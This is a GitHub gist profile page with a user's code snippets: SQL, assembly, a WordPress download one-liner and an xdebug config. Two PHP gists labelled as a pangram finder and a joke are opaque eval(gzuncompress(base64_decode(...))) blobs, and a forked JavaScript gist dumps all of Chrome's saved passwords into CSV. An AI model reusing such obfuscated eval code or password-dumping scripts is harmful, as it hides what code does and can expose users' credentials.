Skip to content

Instantly share code, notes, and snippets.

View sethmclean's full-sized avatar

Seth McLean sethmclean

  • Dallas, TX
  • 09:46 (UTC -05:00)
View GitHub Profile
@sethmclean
sethmclean / geoname.sql
Last active August 29, 2015 14:13
Create Table for the US data set from GeoNames
CREATE TABLE `geoname` (
`geonameid` int(11) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(200) DEFAULT NULL,
`asciiname` varchar(200) CHARACTER SET ascii DEFAULT NULL,
`alternatenames` varchar(10000) CHARACTER SET ascii DEFAULT NULL,
`latitude` double DEFAULT NULL,
`longitude` double DEFAULT NULL,
`feature class` char(1) DEFAULT NULL,
`feature code` varchar(10) DEFAULT NULL,
`country code` char(2) DEFAULT NULL,
SET
@orig_latitude = 32.867073,
@orig_longitude = -96.769410,
@radius = 10
;
SELECT *
FROM (
SELECT
`geonameid`, `name`,
@sethmclean
sethmclean / 100.asm
Last active June 17, 2016 16:49
100 to 1... in x86-64 ASM
DEFAULT REL
%define SYSCALL_WRITE 0x2000004
%define SYSCALL_EXIT 0x2000001
section .data
section .bss
section .text
global start
@sethmclean
sethmclean / wp_engine_setup.sh
Last active October 26, 2022 14:26
If you want to download the latest Wordpress to the current folder, and extract without the wp-content...
#!/bin/bash
curl -L http://wordpress.org/latest.tar.gz | tar -zxv --exclude='wp-content' --exclude='wp-config-sample.php' --exclude='readme.html' --strip-components=1
@sethmclean
sethmclean / pangram-finder.php
Created June 29, 2016 19:38
An exercise in irritation.
<?php eval(gzuncompress(base64_decode("eJw1jsEKAjEMRH9lWQppUUFXULEGEbx48aI3EVncVgvaLG3Bix9vsuAh8GaYGaJuHULnfIgOrLo5BHd/kqBH8A9XsjAhUOqEeoSePgM1jCnE4kVlhFxSoRd9XBqMZnBeLooqCCWFt2CnYQfjarGcTVerxdzYSnmcWpWRS5qjfF6fzvvD0RhjPSWtggTCRla1yoZ5NDLKf7nS62bMDWL/osLVTIShBenKk5rXEXfbum/jI7Xvel1HKtVfGfsDqyZKXQ==")));
@sethmclean
sethmclean / ExportChromePasswords.js
Created December 16, 2016 16:52 — forked from beaverb1ll/ExportChromePasswords.js
ExportChromePasswords.js
var decryptedRow="";
var pm = PasswordManager.getInstance();
var model = pm.savedPasswordsList_.dataModel;
var pl = pm.savedPasswordsList_;
for(i=0;i<model.length;i++){
PasswordManager.requestShowPassword(i);
};
setTimeout(function(){
decryptedRow += '"hostname","username","password","formSubmitURL","httpRealm","usernameField","passwordField"';
for(i=0; i<model.length; i++){
@sethmclean
sethmclean / xdebug.ini
Created March 8, 2017 20:03
xdebug.ini
; Enable xdebug extension module
zend_extension=/usr/lib64/php/modules/xdebug.so
xdebug.remote_enable=1
xdebug.remote_handler=dbgp
xdebug.remote_host=10.0.2.2
xdebug.remote_port=9001
xdebug.remote_log=/var/log/xdebug/xdebug.log
@sethmclean
sethmclean / application.php
Created January 29, 2018 20:19
A little random joke.
<?php
// ...
eval(gzuncompress(base64_decode("eJx9jkuLwjAYRf/KrRSagKjxgVYpsxgEFwOVWtyIlGi/2".
"mBfJBkfyPz3UUSXns1dnMW5bqNrW+/rAgGYMoYsc5PVPFrPo4333GQZhXH4Hf54W44vfNCYwlvE8b".
"IrOj2Pz6AyVtpEyyplovei7b/hCAL0xXDii8FoOObISaakWevmvm79wRcCCyoaB3FOVxj7m2WUoiS".
"oCjZXBrv60sY9AqkJpTyq6vDQhvSJcKZdIw9knBaf/QPXpkaG")));